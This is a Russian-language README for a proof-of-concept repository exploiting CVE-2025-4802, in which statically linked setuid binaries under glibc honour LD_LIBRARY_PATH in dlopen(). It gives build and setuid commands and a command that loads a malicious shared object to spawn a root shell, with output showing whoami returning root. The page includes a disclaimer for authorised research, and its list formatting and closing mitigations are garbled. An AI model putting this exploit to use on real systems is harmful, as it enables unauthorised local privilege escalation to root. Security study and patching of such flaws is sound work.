
Доказательство концепции для статически скомпилированного setuid-бинарного файла, уязвимого к dlopen через LD_LIBRARY_PATH
⚠️ Отказ от ответственности: Этот репозиторий предназначен только для образовательных и санкционированных исследований в области безопасности. Не используйте эту эксплойтацию против систем, которыми вы не владеете или на тестирование которых не получили явного разрешения. Неправильное использование может нарушать законы и нормативные акты.
| Поле | Подробности |
|---|---|
| Идентификатор CVE | CVE-2025-4802 |
| Уязвимое ПО | GNU C Library (glibc) |
| Затронутые версии | 2.27 – 2.38 |
| Тип уязвимости | Повышение привилегий через ненадёжный LD_LIBRARY_PATH |
| Вектор атаки | Локальный |
Уязвимость в GNU C Library (glibc) версий с 2.27 по 2.38 позволяет злоумышленнику использовать переменную окружения LD_LIBRARY_PATH в статически скомпилированных setuid-бинарниках, которые вызывают dlopen().
Обычно динамический компоновщик очищает LD_LIBRARY_PATH для setuid-программ. Однако статически скомпилированные бинарники обходят динамический компоновщик полностью, поэтому LD_LIBRARY_PATH не очищается. Когда такой бинарник вызывает dlopen() (напрямую или косвенно через setlocale() или NSS-функции, такие как getaddrinfo()), glibc разрешает общие библиотеки, используя управляемый злоумышленником LD_LIBRARY_PATH, что позволяет выполнить произвольный код с повышенными привилегиями.
dlopen("myso.so", ...) для загрузки общего объекта по имени (не по абсолютному пути).ld-linux.so) не запускается, поэтому LD_LIBRARY_PATH не очищается.myso.so), который экспортирует тот же символ hello(), но вместо этого запускает root-оболочку.LD_LIBRARY_PATH так, чтобы он указывал на каталог, содержащий вредоносную библиотеку..
├── main.c # Исходный код уязвимого setuid-бинарника
├── myso.c # Легитимный общий объект (безопасный)
├── evil_library/
│ └── evilso.c # Вредоносный общий объект (запускает root-оболочку)
├── proof_of_concept_screenshot.png # Скриншот терминала с эксплойтом
├── proof_of_concept_video.mp4 # Видео-демонстрация
├── Makefile # Автоматизация сборки
└── README.md
ldd --version)gcc, makemake all
Или вручную:
# Сборка легитимного общего объекта
gcc -shared -o myso.so -fPIC myso.c
# Сборка уязвимого бинарника (статическая линковка)
gcc -static -o main main.c -ldl
# Сборка вредоносного общего объекта
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Ожидаемый вывод:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (вредоносное поведение)LD_LIBRARY_PATH=./evil_library ./main
Ожидаемый вывод:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Бинарник загружает myso.so злоумышленника из evil_library/ вместо легитимного, что приводит к запуску root-оболочки.

Также доступна видео-демонстрация: proof_of_concept_video.mp4
dlopen()dlopen() вместо простых имён библиотекdlopen()